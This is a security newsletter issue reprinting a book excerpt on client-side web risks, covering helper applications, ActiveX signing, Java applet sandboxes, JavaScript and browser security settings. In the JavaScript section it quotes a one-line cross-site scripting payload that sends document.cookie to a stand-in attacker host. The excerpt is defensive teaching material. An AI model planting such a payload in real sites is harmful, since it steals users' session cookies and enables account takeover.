Welcome to Volume 5, Issue 5 of The Internet Security Conference Newsletter, Insight. Insight provides commentaries and educational columns, authored by some of the best minds in the security community.
TISC is about sharing clue. So is this newsletter. We promise to provide something useful each issue. If we don't, flame me. If you like the issue, let us know!
Enjoy, and be safe,
Dave
Thanks to the authors and publishers, Iím delighted to have the opportunity to reproduce an excerpt from Firewalls and Internet Security: Repelling the Wily Hacker, Second Edition by Bill Cheswick, Steve Bellovin, and Avi Rubin. The first edition of this landmark book was among the earliest and, at the time, most thorough treatment of Internet Security published. It was essentially the Bible for firewall and security administrators. This edition investigates the security issues that have arisen since the first, in the same factual, accurate and entertaining style.
The sections Iíve chosen to reproduce are from a chapter on web security, a topic at the top of most security admins today. Iíve excerpted the material on active content and the dangers these pose to client-side (browser) of web communications.
The folks at Addison-Wesley are offing a discount to TISC readers, hence the advertisement in the trailer.
Reproduced from
Firewalls and Internet Security: Repelling the Wily Hacker, Second Edition
by permission of Addison-Wesley. ISBN 0-201-63466-X, Copyright 2003.
All rights reserved.
See http://www.awprofessional.com/titles/020163466X for more information.
● ● ●
4.2 Risks to the
Clients
Web clients are at risk because servers tell them what to do, often without the consent or knowledge of the user. For example, some properly configured browsers will display PostScript documents. Is that a safe thing to do? Remember that many host-based implementations of PostScript include file I/O operations.
Browsers do offer
users optional notification when some dangerous activities or changes occur. For example, the
Netscape browser can display warnings when cookies are received or when
security is turned off. These warnings are well-intentioned, but even the most
fastidious security person may turn them off after a while. The cookies in
particular are used a lot, and the warning messages become tiresome. For
less-informed people, they are a confusing nuisance. This is not convenient
security.
There are many
other risks. Browsing is generally not anonymous, as most connections are not
encrypted. A tapped network can reveal the interests and even sexual
preferences of the user. Similar information may be obtained from the browser
cache or history file on a client host. Proxy servers can supply similar
information. Even encrypted sessions are subject to traffic analysis. Are there
DNS queries for WWW.PLAYGERBIL.COM or a zillion similar sites? Servers can implant Web bugs on seemingly
innocuous pages. (A Web bug is a small, invisible image on a page provided by a
third party who is in the business of tracking users.) The automatic request
from a userís browseróincluding the Referer lineóis logged, and cookies are
exchanged. Web bugs can be attached to e-mail, providing spammers with a way of
probing for active addresses, as well as IP addresses attached to an e-mail
address.
Further risks to
clients come from helper applications. These are programs that are configured
to automatically execute when content of a certain type of file is downloaded,
based on the filename extension. For example, if a user requests the URL http://www.papers.com/article17.pdf, the file article17.pdf is downloaded to
the browser. The browser then launches the Acrobat reader to view the .pdf file. Other
programs can be configured to execute for other extensions, and they run with
the downloaded file as input. These are risky, as the server gets to determine
the contents of the input to the program running in the client. The usual
defense gives the user the option of saving the downloaded file for later or
running it right away in the application. There is really little difference in
terms of security. The most alarming
risks come from automated downloading and execution of external programs.
Some of these are
discussed in the following sections.
4.2.1 ActiveX
Microsoftís
ActiveX controls cannot harm you if you run UNIX. However, in the Windows environment,
they represent a serious risk to Web clients. When active scripting is enabled,
and the security settings in Internet Explorer are set in a lenient manner,
ActiveX controls, which are nothing more than arbitrary executables, are
downloaded from the Web and run. The default setting specifies that ActiveX
controls must be digitally signed by a trusted publisher. If the signature does
not match, the ActiveX is not executed. One can become a trusted publisher by
either being Microsoft or a vendor who has a relationship with Microsoft or
Verisign. Unfortunately, it has also been shown that one can become a trusted
publisher by pretending to be Microsoft (see CERT Advisory CA-2001-04).
The ActiveX
security model is based on the notion that if code is signed, it should be
trusted. This is a very dangerous assumption. If code is signed, all you know
about it is that it was signed. You do not have any assurance that the signer
has any knowledge of how secure the code is. You have no assurance that the
signer wrote the code, or that the signer is qualified in any way to make a
judgment about the code. If youíre lucky, the signer is actually someone who
Microsoft or Verisign think you should trust. Another problem
with the ActiveXÝ model is that it is
based on a public key infrastructure. Who should be the root of this PKI? This
root is implicitly trusted by all, as the root has the ability to issue
certificates to signers, who can then mark code safe for scripting.
4.2.2 Java and Applets
I drank half a cup, burned my mouth, and
spat out grounds. Coffee comes in five descending stages:
Coffee, Java, Jamoke,
Joe, and Carbon Remover. This stuff was no better than grade four.
Glory Road
óROBERT HEINLEIN
Java has been a
source of contention on theWeb since it was introduced. Originally it was
chiefly used for dubious animations, but now, many Web services use Java to
offload server tasks to the client. Java has also
become known as the most insecure part of the Web [Dean et al., 1996]. This is
unfairóordinary CGI scripts have been responsible for more actual system
penetrationsóbut the threat is real nevertheless. Why is this?
Java is a
programming language with all the modern conveniences. Itís object-oriented,
typesafe, multi-threaded, and buzzword-friendly. Many of its concepts and much
of its syntax are taken from C++. But itís much simpler than C++, a distinct aid in writing correct (and
hence secure) software. Unfortunately, this doesnít help us much, as a common
use of Java is for writing downloaded applets, and you canít assume that the
author of these applets has your best interests at heart.
Many of the
restrictions on the Java language are intended to help ensure certain security
properties. Unfortunately, Java source code is not shipped around the Net,
which means that we donít care how clean the language itself is. Source
programs are compiled into byte code, the machine language for the Java
virtual machine. It is this byte code that is downloaded, which means that it
is the byte code we need to worry about. Two specialized components, the byte
code verifier and the class loader, try to ensure that this machine language
represents a valid Java program. Unfortunately, the semantics of the byte code
arenít a particularly close match for the semantics of Java itself. It is this
mismatch that is at the root of a lot of the trouble; the task of the verifier
is too complex. Not surprisingly, there have been some problems [Dean et al., 1996; McGraw and
Felten, 1999]. Restrictions are enforced by a security manager. Applets cannot
invoke certain native methods directly; rather, they are compelled by
the class and name inheritance mechanisms of the Java language to invoke the
security managerís versions instead. It, in turn, passes on legal requests to
the native methods.
As noted, however,
Java source code isnít passed to clients. Rather, the indicated effective class
hierarchy, as manifested by Java binaries from both the server and the client,
must be merged and checked for correctness. This implies a great deal of
reliance on the verifier and the class loader, and it isnít clear that they are
(or can be) up to the task. The complexity of this security is a bad sign.
Simple security is better than complex security: it is easier to understand,
verify, and maintain. While we have great respect for the skills of the
implementors, this is a hard job.
But let us assume
that all of these problems are fixed. Is Java still dangerous? It turns out
that even if Java were implemented perfectly, there might still be reasons
not to run it. These problems are harder to fix, as they turn on abuses of
capabilities that Java is supposed to have. Any facility that a program
can use can be abused. If we only allow a program to execute on our
machine, it could execute too long, eating up our CPU time. This is a simple
feature to control and allocate, but others are much harder. If we grant a
program access to our screen, that access can be abused. It might make its
screen appear like some other screen, fooling a na®›ve user. It could
collect passwords, or feign an error, and so on. Can the program access the
network, make new network connections, read or write local files? Each of
these facilities can be, and already has been, misused in the Internet.
One example is the
variety of denial-of-service attacks that can be launched using Java.
An applet can create an infinite number of windows [McGraw and Felten,
1999], and a window manager that is kept that busy has little time free to
service user requests, including, of course, requests to terminate an
applet. In the meantime, some of those myriad windows can be
playing music, barking, or whistling like a steam locomotive. Given how
often applets crash browsers unintentionally, it is easy to imagine what
an applet designed with malicious intent can do.
These applets are
contained in a sandbox, a software jail (see Section 8.5 and Chapter 16) to contain
and limit their access to our local host and network. These sandboxes vary
between browsers and implementors. Sometimes they are optimized for speed,
not security. A nonstandard or ill-conceived sandbox can let the applets
loose. There is an ongoing stream of failures of this kind. Moreover,
there are marketing pressures to add features to the native methods, and
security is generally overlooked in these cases. Java can also be
used on the server side. The Jeeves system (now known as the Java
Web Server) [Gong, 1997], for example, is based on servlets, small Java
applications that can take the place of ordinary file references or CGI
scripts. Each servlet must be digitally signed; a security manager makes
sure that only the files appropriate for this source are accessed. Of course,
this security manager has the same limitations as the applet security
manager, and servers have far more to lose.
There are two
aspects to Java security that are important to differentiate. On the one hand,
we have the Java sandbox, whose job it is to protect a computer from
malicious applets. On the other hand, a language can protect against
malicious input to trustworthy applications. In that sense, a language
such as Java, which does not allow pointer arithmetic, is far safer; among
other things, it is not susceptible to buffer overflows, which in practice
have been the leading source of security vulnerabilities.
4.2.3 JavaScript
JavaScript is an
interpreted language often used to jazz upWeb pages. The syntax is
somewhat like Javaís (or, for that matter, like C++ís); otherwise the
languages are unrelated. Itís used for many different things, ranging from
providing validating input fields to ìhelpî pop-ups to providing a
different ìfeelî to an application to completely gratuitous replacement
of normal HTML features. There are classes available to the JavaScript
code that describe things like the structure of the current document and
some of the browserís environment. There are a number of risks related to
JavaScript. Sometimes, JavaScript is a co-conspirator in social
engineering attacks (see Section 5.2). JavaScript does not provide access to
the file system or to network connections (at least itís not supposed to),
but it does provide control over things like browser windows and the
location bar. Thus, users could be fooled into revealing passwords and
other sensitive information because they can be led to believe that they are
browsing one site when they are actually browsing another one [Felten et al., 1997; Ye and
Smith, 2002].
An attack called cross-site
scripting demonstrates how JavaScript can be used for
nefarious purposes. Cross-site scripting is possible when a Web site can
be tricked into serving up script written by an attacker. For example, the
auction site http://ebay.com allows users to enter descriptions for items in
HTML format. A user could potentially write a <SCRIPT> tag
and insert JavaScript into the description. When another user goes to eBay
and browses the item, the JavaScript gets downloaded and run in that
personís browser. The JavaScript could fool the user into revealing some
sensitive information to the adversary by embedding a reference to a
CGI script on the attackerís site with input from the user. It can even
steal authentication data carried in cookies, as in this example posted to
Bugtraq (the line break is for readability):
<script>
self.location.href="http://www.evilhackerdudez.com/nasty?"+
escape(document.cookie)</script>
In practice, many
sites, especially the major ones, know about this attack, and so they filter
for JavaScript; unfortunately, too many sites do not. Besides, filtering
out JavaScript is a lot harder to do than it would appear. Cross-site
scripting was identified by CERT Advisory CA-2000-02. JavaScript is often
utilized by viruses and other exploits to help malicious code
propagate. The Nimda worm appended a small piece of JavaScript to every
file containing Web content on an infected server. The JavaScript causes
the worm to further copy itself to other clients through the Web browsers.
This is described in CERT Advisory CA-2001-26.
In a post to
Bugtraq, Georgi Guninski explains how to embed a snippet of JavaScript code
into an HTML e-mail message to bypass the mechanism used by Hotmail to
disable JavaScript. The JavaScript can execute various commands in the
userís mailbox, including reading and deleting messages, or prompting the
user to reenter his or her password. The Microsoft Internet Explorer (MSIE) version of the
exploit is two lines of code; the Netscape version requires six lines.
In fact, the
implementation of JavaScript itself has been shown to have flaws that lead
to security vulnerabilities (see CERT Vulnerability Note VN-98.06). These
flaws were severe; they gave the attacker the ability to run arbitrary
code on a client machine.
While JavaScript
is quite useful and enables all sorts of bells and whistles, the price is too
high. Systems should be designed not to require JavaScript. Forcing
insecure behavior on users is bad manners. The best use of JavaScript is
to validate user-type input, but this has to be interpreted solely as a
convenience to the user; the server has to validate everything as well, for
obvious reasons.
We recommend that
users keep JavaScript turned off, except when visiting sites that
absolutely require it. As a fringe benefit, this strategy also eliminates
those annoying ìpop-underî advertisements.
4.2.4 Browsers
Browsers come with
many settings. Quite a few of them are security sensitive. In general, it
is a bad idea to give users many options when it comes to security
settings. Take ciphersuites, for example. Ciphersuites are sets of
algorithms and parameters that make up a security association in the SSL
protocol. TLS DHE DSS WITH 3DES EDE CBC SHA is an example of
a ciphersuite. In standard browsers, users can turn ciphersuites on and
off. In fact, both Netscape and MSIE come with several insecure
ciphersuites turned on by default.
It is unreasonable
to expect most users to make the correct choices in security matters. They
simply donít have the time or interest to learn the details, and they shouldnít
have to. Their interests are best served by designs and defaults that
protect them.
The many security
options available to users in browsers give them rope with which to
hang themselves, and the defaults generally provide a nice noose to get
things started. But insecure ciphersuites are just the tip of the iceberg.
SSL version 2 is itself insecureóbut Netscape and MSIE ship with it
enabled. The choice of ciphersuites does not matter because the protocol is
insecure with any setting. The attacks against SSLv2 are published and well
known [Rescorla, 2000b], but you have to go into the browser settings,
about four menu layers deep, in order to turn it off. The reason? There
are still SSL servers out there that only speak version 2. Heaven
forbid that a user encounter one of these servers and be unable to
establish a ìsecureî session. The truth is that if a server is only
running version 2, you want to avoid it if security is an
issueósomebody there does not know what they are doing. This laxity
suggests that other issues, like protection of credit card data, may be
overlooked as well.
Earlier in this
chapter, we discussed Java, JavaScript, and ActiveX. Java has been
shown to represent security risks, and JavaScript enables social
engineering and poses its own privacy risks. ActiveX is probably the most
dangerous. Why is it that you have to navigate through various obscure
menus to change the Java, JavaScript and ActiveX settings? A better
browser design is to place buttons on the main menu bar. Click once to
enable/disable Java, click to enable/disable ActiveX. The buttons should
offer some visual clue to a user when JavaScript is used on a page. By
attempting to make things transparent, the browser developers have taken
the savvy user entirely out of the loop.
Here are some
recommendations for how things ought to be in browsers:
● ● ●
William R. Cheswick (http://cheswick.com) is Chief Scientist at Lumeta Corporation, which explores and maps clients' network infrastructures and finds perimeter leaks. Formerly he was a senior researcher at Lucent Bell Labs, where he did pioneering work in the areas of firewall design and implementation, PC viruses, mailers, and Internet munitions.
Steven M. Bellovin (http://stevebellovin.com) is a Fellow at AT&T Labs Research, where he works on networks, security, and, especially, why the two don't get along. He is a member of the National Academy of Engineering and is one of the Security Area directors of the Internet Engineering Task Force. Long ago he was one of the creators of NetNews.
Aviel D. Rubin (http://avirubin.com) is an Associate Professor in the Computer Science Department at Johns Hopkins University and serves as the Technical Director of their Information Security Institute. He was previously Principal Researcher in the Secure Systems Research Department at AT&T Laboratories and is the author of several books.